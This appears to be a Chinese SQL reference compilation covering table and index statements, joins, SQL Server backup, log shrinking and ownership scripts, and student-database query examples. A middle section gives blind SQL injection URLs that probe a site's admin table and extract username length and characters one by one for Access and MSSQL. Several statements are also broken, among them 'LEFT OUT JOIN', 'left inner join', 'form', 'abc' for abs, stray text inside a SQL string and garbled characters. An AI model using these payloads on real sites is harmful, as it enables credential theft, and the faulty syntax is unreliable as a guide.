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SQL大全

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1、说明:创建数据库
CREATE DATABASE database-name
2、说明:删除数据库
drop database dbname
3、说明:备份sql server
--- 创建 备份数据的 device
USE master
EXEC sp_addumpdevice 'disk', 'testBack', 'c:/mssql7backup/MyNwind_1.dat'
--- 开始 备份
BACKUP DATABASE pubs TO testBack
4、说明:创建新表
create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..)
根据已有的表创建新表:
A:create table tab_new like tab_old (使用旧表创建新表)
B:create table tab_new as select col1,col2… from tab_old definition only
5、说明:删除新表
drop table tabname
6、说明:增加一个列
Alter table tabname add column col type
注:列增加后将不能删除。DB2中列加上后数据类型也不能改变,唯一能改变的是增加varchar类型的长度。
7、说明:添加主键: Alter table tabname add primary key(col)
说明:删除主键: Alter table tabname drop primary key(col)
8、说明:创建索引:create [unique] index idxname on tabname(col….)
删除索引:drop index idxname
注:索引是不可更改的,想更改必须删除重新建。
9、说明:创建视图:create view viewname as select statement
删除视图:drop view viewname
10、说明:几个简单的基本的sql语句
选择:select * from table1 where 范围
插入:insert into table1(field1,field2) values(value1,value2)
删除:delete from table1 where 范围
更新:update table1 set field1=value1 where 范围
查找:select * from table1 where field1 like ’%value1%’ ---like的语法很精妙,查资料!
排序:select * from table1 order by field1,field2 [desc]
总数:select count as totalcount from table1
求和:select sum(field1) as sumvalue from table1
平均:select avg(field1) as avgvalue from table1
最大:select max(field1) as maxvalue from table1
最小:select min(field1) as minvalue from table1
11、说明:几个高级查询运算词
A: UNION 运算符
UNION 运算符通过组合其他两个结果表(例如 TABLE1 和 TABLE2)并消去表中任何重复行而派生出一个结果表。当 ALL 随 UNION 一起使用时(即 UNION ALL),不消除重复行。两种情况下,派生表的每一行不是来自 TABLE1 就是来自 TABLE2。
B: EXCEPT 运算符
EXCEPT 运算符通过包括所有在 TABLE1 中但不在 TABLE2 中的行并消除所有重复行而派生出一个结果表。当 ALL 随 EXCEPT 一起使用时 (EXCEPT ALL),不消除重复行。
C: INTERSECT 运算符
INTERSECT 运算符通过只包括 TABLE1 和 TABLE2 中都有的行并消除所有重复行而派生出一个结果表。当 ALL 随 INTERSECT 一起使用时 (INTERSECT ALL),不消除重复行。
注:使用运算词的几个查询结果行必须是一致的。
12、说明:使用外连接
A、left outer join:
左外连接(左连接):结果集几包括连接表的匹配行,也包括左连接表的所有行。
SQL: select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c
B:right outer join:
右外连接(右连接):结果集既包括连接表的匹配连接行,也包括右连接表的所有行。
C:full outer join:
全外连接:不仅包括符号连接表的匹配行,还包括两个连接表中的所有记录。

二、提升

1、说明:复制表(只复制结构,源表名:a 新表名:b) (Access可用)
法一:select * into b from a where 1<>1
法二:select top 0 * into b from a

2、说明:拷贝表(拷贝数据,源表名:a 目标表名:b) (Access可用)
insert into b(a, b, c) select d,e,f from b;

3、说明:跨数据库之间表的拷贝(具体数据使用绝对路径) (Access可用)
insert into b(a, b, c) select d,e,f from b in ‘具体数据库’ where 条件
例子:..from b in '"&Server.MapPath(".")&"/data.mdb" &"' where..

4、说明:子查询(表名1:a 表名2:b)
select a,b,c from a where a IN (select d from b ) 或者: select a,b,c from a where a IN (1,2,3)

5、说明:显示文章、提交人和最后回复时间
select a.title,a.username,b.adddate from table a,(select max(adddate) adddate from table where table.title=a.title) b

6、说明:外连接查询(表名1:a 表名2:b)
select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c

7、说明:在线视图查询(表名1:a )
select * from (SELECT a,b,c FROM a) T where t.a > 1;

8、说明:between的用法,between限制查询数据范围时包括了边界值,not between不包括
select * from table1 where time between time1 and time2
select a,b,c, from table1 where a not between 数值1 and 数值2

9、说明:in 的使用方法
select * from table1 where a [not] in (‘值1’,’值2’,’值4’,’值6’)

10、说明:两张关联表,删除主表中已经在副表中没有的信息
delete from table1 where not exists ( select * from table2 where table1.field1=table2.field1 )

11、说明:四表联查问题:
select * from a left inner join b on a.a=b.b right inner join c on a.a=c.c inner join d on a.a=d.d where .....

12、说明:日程安排提前五分钟提醒
SQL: select * from 日程安排 where datediff('minute',f开始时间,getdate())>5

13、说明:一条sql 语句搞定数据库分页
select top 10 b.* from (select top 20 主键字段,排序字段 from 表名 order by 排序字段 desc) a,表名 b where b.主键字段 = a.主键字段 order by a.排序字段

14、说明:前10条记录
select top 10 * form table1 where 范围

15、说明:选择在每一组b值相同的数据中对应的a最大的记录的所有信息(类似这样的用法可以用于论坛每月排行榜,每月热销产品分析,按科目成绩排名,等等.)
select a,b,c from tablename ta where a=(select max(a) from tablename tb where tb.b=ta.b)

16、说明:包括所有在 TableA 中但不在 TableB和TableC 中的行并消除所有重复行而派生出一个结果表
(select a from tableA ) except (select a from tableB) except (select a from tableC)

17、说明:随机取出10条数据
select top 10 * from tablename order by newid()

18、说明:随机选择记录
select newid()

19、说明:删除重复记录
Delete from tablename where id not in (select max(id) from tablename group by col1,col2,...)

20、说明:列出数据库里所有的表名
select name from sysobjects where type='U'

21、说明:列出表里的所有的
select name from syscolumns where id=object_id('TableName')

22、说明:列示type、vender、pcs字段,以type字段排列,case可以方便地实现多重选择,类似select 中的case。
select type,sum(case vender when 'A' then pcs else 0 end),sum(case vender when 'C' then pcs else 0 end),sum(case vender when 'B' then pcs else 0 end) FROM tablename group by type
显示结果:
type vender pcs
电脑 A 1
电脑 A 1
光盘 B 2
光盘 A 2
手机 B 3
手机 C 3

23、说明:初始化表table1

TRUNCATE TABLE table1

24、说明:选择从10到15的记录
select top 5 * from (select top 15 * from table order by id asc) table_别名 order by id desc

三、技巧

1、1=1,1=2的使用,在SQL语句组合时用的较多

“where 1=1” 是表示选择全部   “where 1=2”全部不选,
如:
if @strWhere !=''
begin
set @strSQL = 'select count(*) as Total from [' + @tblName + '] where ' + @strWhere
end
else
begin
set @strSQL = 'select count(*) as Total from [' + @tblName + ']'
end

我们可以直接写成
set @strSQL = 'select count(*) as Total from [' + @tblName + '] where 1=1 安定 '+ @strWhere

2、收缩数据库
--重建索引
DBCC REINDEX
DBCC INDEXDEFRAG
--收缩数据和日志
DBCC SHRINKDB
DBCC SHRINKFILE

3、压缩数据库
dbcc shrinkdatabase(dbname)

4、转移数据库给新用户以已存在用户权限
exec sp_change_users_login 'update_one','newname','oldname'
go

5、检查备份集
RESTORE VERIFYONLY from disk='E:/dvbbs.bak'

6、修复数据库
ALTER DATABASE [dvbbs] SET SINGLE_USER
GO
DBCC CHECKDB('dvbbs',repair_allow_data_loss) WITH TABLOCK
GO
ALTER DATABASE [dvbbs] SET MULTI_USER
GO

7、日志清除
SET NOCOUNT ON
DECLARE @LogicalFileName sysname,
    @MaxMinutes INT,
    @NewSize INT


USE   tablename         -- 要操作的数据库名
SELECT @LogicalFileName = 'tablename_log', -- 日志文件名
@MaxMinutes = 10,           -- Limit on time allowed to wrap log.
    @NewSize = 1             -- 你想设定的日志文件的大小(M)

-- Setup / initialize
DECLARE @OriginalSize int
SELECT @OriginalSize = size
FROM sysfiles
WHERE name = @LogicalFileName
SELECT 'Original Size of ' + db_name() + ' LOG is ' +
    CONVERT(VARCHAR(30),@OriginalSize) + ' 8K pages or ' +
    CONVERT(VARCHAR(30),(@OriginalSize*8/1024)) + 'MB'
FROM sysfiles
WHERE name = @LogicalFileName
CREATE TABLE DummyTrans
(DummyColumn char (8000) not null)


DECLARE @Counter   INT,
    @StartTime DATETIME,
    @TruncLog VARCHAR(255)
SELECT @StartTime = GETDATE(),
    @TruncLog = 'BACKUP LOG ' + db_name() + ' WITH TRUNCATE_ONLY'

DBCC SHRINKFILE (@LogicalFileName, @NewSize)
EXEC (@TruncLog)
-- Wrap the log if necessary.
WHILE   @MaxMinutes > DATEDIFF (mi, @StartTime, GETDATE()) -- time has not expired
    AND @OriginalSize = (SELECT size FROM sysfiles WHERE name = @LogicalFileName)
    AND (@OriginalSize * 8 /1024) > @NewSize
BEGIN -- Outer loop.
  SELECT @Counter = 0
  WHILE ((@Counter < @OriginalSize / 16) AND (@Counter < 50000))
    BEGIN -- update
    INSERT DummyTrans VALUES ('Fill Log')
    DELETE DummyTrans
    SELECT @Counter = @Counter + 1
    END  
  EXEC (@TruncLog)
END  
SELECT 'Final Size of ' + db_name() + ' LOG is ' +
    CONVERT(VARCHAR(30),size) + ' 8K pages or ' +
    CONVERT(VARCHAR(30),(size*8/1024)) + 'MB'
FROM sysfiles
WHERE name = @LogicalFileName
DROP TABLE DummyTrans
SET NOCOUNT OFF

8、说明:更改某个表
exec sp_changeobjectowner 'tablename','dbo'

9、存储更改全部表

CREATE PROCEDURE dbo.User_ChangeObjectOwnerBatch
@OldOwner as NVARCHAR(128),
@NewOwner as NVARCHAR(128)
AS

DECLARE @Name   as NVARCHAR(128)
DECLARE @Owner as NVARCHAR(128)
DECLARE @OwnerName as NVARCHAR(128)

DECLARE curObject CURSOR FOR
select 'Name'   = name,
'Owner'   = user_name(uid)
from sysobjects
where user_name(uid)=@OldOwner
order by name

OPEN curObject
FETCH NEXT FROM curObject INTO @Name, @Owner
WHILE(@@FETCH_STATUS=0)
BEGIN  
if @Owner=@OldOwner
begin
set @OwnerName = @OldOwner + '.' + rtrim(@Name)
exec sp_changeobjectowner @OwnerName, @NewOwner
end
-- select @name,@NewOwner,@OldOwner

FETCH NEXT FROM curObject INTO @Name, @Owner
END

close curObject
deallocate curObject
GO


10、SQL SERVER中直接循环写入数据
declare @i int
set @i=1
while @i<30
begin
  insert into test (userid) values(@i)
  set @i=@i+1
end

小记存储过程中经常用到的本周,本月,本年函数
Dateadd(wk,datediff(wk,0,getdate()),-1)
Dateadd(wk,datediff(wk,0,getdate()),6)

Dateadd(mm,datediff(mm,0,getdate()),0)
Dateadd(ms,-3,dateadd(mm,datediff(m,0,getdate())+1,0))

Dateadd(yy,datediff(yy,0,getdate()),0)
Dateadd(ms,-3,DATEADD(yy, DATEDIFF(yy,0,getdate())+1, 0))

上面的SQL代码只是一个时间段
Dateadd(wk,datediff(wk,0,getdate()),-1)
Dateadd(wk,datediff(wk,0,getdate()),6)
就是表示本周时间段.
下面的SQL的条件部分,就是查询时间段在本周范围内的:
Where Time BETWEEN Dateadd(wk,datediff(wk,0,getdate()),-1) AND Dateadd(wk,datediff(wk,0,getdate()),6)
而在存储过程中
select @begintime = Dateadd(wk,datediff(wk,0,getdate()),-1)
select @endtime = Dateadd(wk,datediff(wk,0,getdate()),6)

检测可否注入

http://127.0.0.1/xx?id=11 and 1=1 (正常页面)

http://127.0.0.1/xx?id=11 and 1=2 (出错页面)


检测表段的


http://127.0.0.1/xx?id=11 and exists (select * from admin)


检测字段的


http://127.0.0.1/xx?id=11 and exists (select username from admin)


检测ID


http://127.0.0.1/xx?id=11 and exists (select id from admin where ID=1)


检测长度的


http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)


检测长度的


http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)


检测是否为MSSQL数据库


http://127.0.0.1/xx?id=11 and exists (select * from sysobjects)


检测是否为英文


(ACCESS数据库)

http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1)


(MSSQL数据库)

http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1)) between 30 and 130 and ID=1)


检测英文的范围


(ACCESS数据库)

http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1)) between 90 and 100 and ID=1)


(MSSQL数据库)

http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1)) between 90 and 100 and ID=1)


检测那个字符


(ACCESS数据库)

http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1)


(MSSQL数据库)

http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1)


常用函数


Access:asc(字符) SQLServer:unicode(字符)

作用:返回某字符的ASCII码


Access:chr(数字) SQLServer:nchar(数字)

作用:与asc相反,根据ASCII码返回字符


Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)

作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串


Access:abc(数字) SQLServer:abc (数字)

作用:返回数字的绝对值(在猜解汉字的时候会用到)


Access:A between B And C SQLServer:A between B And C

作用:判断A是否界于B与C之间


and exists(Select top 1 * From 用户 order by id)


1.在查询结果中显示列名:

a.用as关键字:select name as ’姓名’ from students order by age

b.直接表示:select name ’姓名’ from students order by age


2.精确查找:

a.用in限定范围:select * from students where native in (’湖南’, ’四川’)

b.between...and:select * from students where age between 20 and 30

c.“=”:select * from students where name = ’李山’

d.like:select * from students where name like ’李%’ (注意查询条件中有“%”,则说明是部分匹配,而且还有先后信息在里面,即查找以“李”开头的匹配项。所以若查询有“李”的所有对象,应该命令:’%李%’;若是第二个字为李,则应为’_李%’或’_李’或’_李_’。)

e.[]匹配检查符:select * from courses where cno like ’[AC]%’ (表示或的关系,与"in(...)"类似,而且"[]"可以表示范围,如:select * from courses where cno like ’[A-C]%’)


3.对于时间类型变量的处理

a.smalldatetime:直接按照字符串处理的方式进行处理,例如:select * from students where birth > = ’1980-1-1’ and birth <= ’1980-12-31’

4.集函数

a.count()求和,如:select count(*) from students (求学生总人数)

b.avg(列)求平均,
如:select avg(mark) from grades where cno=’B2’

c.max(列)和min(列),求最大与最小


5.分组group

常用于统计时,如分组查总数:select gender,count(sno) from students group by gender(查看男女学生各有多少)

注意:从哪种角度分组就从哪列"group by"

对于多重分组,只需将分组规则罗列。比如查询各届各专业的男女同学人数 ,那么分组规则有:届别(grade)、专业(mno)和

性别(gender),所以有"group by grade, mno, gender"

select grade, mno, gender, count(*) from students group by grade, mno, gender

通常group还和having联用,比如查询1门课以上不及格的学生,则按学号(sno)分类有:

select sno,count(*) from grades where mark<60 group by sno having count(*)>1


6.UNION联合

合并查询结果,如:

SELECT * FROM students WHERE name like ‘张%’UNION [ALL] SELECT * FROM students WHERE name like ‘李%’


7.多表查询

a.内连接

select g.sno,s.name,c.coursename from grades g JOIN students s ON g.sno=s.sno JOIN courses c ON g.cno=c.cno

(注意可以引用别名)

b.外连接

b1.左连接

select courses.cno,max(coursename),count(sno) from courses LEFT JOIN grades ON courses.cno=grades.cno group by courses.cno

左连接特点:显示全部左边表中的所有项目,即使其中有些项中的数据未填写完全。


左外连接返回那些存在于左表而右表中却没有的行,再加上内连接的行。

b2.右连接

与左连接类似

b3.全连接

select sno,name,major from students FULL JOIN majors ON students.mno=majors.mno

两边表中的内容全部显示

c.自身连接

select c1.cno,c1.coursename,c1.pno,c2.coursename from courses c1,courses c2 where c1.pno=c2.cno

采用别名解决问题。

d.交*连接

select lastname+firstname from lastname CROSS JOIN firstanme

相当于做笛卡儿积


8.嵌套查询

a.用关键字IN,如查询猪猪山的同乡:

select * from students where native in (select native from students where name=’猪猪’)

b.使用关键字EXIST,比如,下面两句是等价的:

select * from students where sno in (select sno from grades where cno=’B2’)


select * from students where exists (select * from grades where grades.sno=students.sno AND cno=’B2’)


9.关于排序order

a.对于排序order,有两种方法:asc升序和desc降序

b.对于排序order,可以按照查询条件中的某项排列,而且这项可用数字表示,如:

select sno,count(*) ,avg(mark) from grades group by sno having avg(mark)>85 order by 3


10.其他

a.对于有空格的识别名称,应该用"[]"括住。

b.对于某列中没有数据的特定查询可以用null判断,如select sno,courseno from grades where mark IS NULL

c.注意区分在嵌套查询中使用的any与all的区别,any相当于逻辑运算“||”而all则相当于逻辑运算“&&”

d.注意在做否定意义的查询是小心进入陷阱:

如,没有选修‘B2’课程的学生 :

select students.* from students, grades where students.sno=grades.sno AND grades.cno <> ’B2’

上面的查询方式是错误的,正确方式见下方:

select * from students where not exists (select * from grades where grades.sno=students.sno AND cno=’B2’)


11.关于有难度多重嵌套查询的解决思想:如,选修了全睝@纬痰难 ?br>select * from students where not exists (select * from courses where NOT EXISTS (select * from grades where sno=students.sno AND cno=courses.cno))

最外一重:从学生表中选,排除那些有课没选的。用not exist。由于讨论对象是课程,所以第二重查询从course表中找,排除那些选了课的即可
 

 

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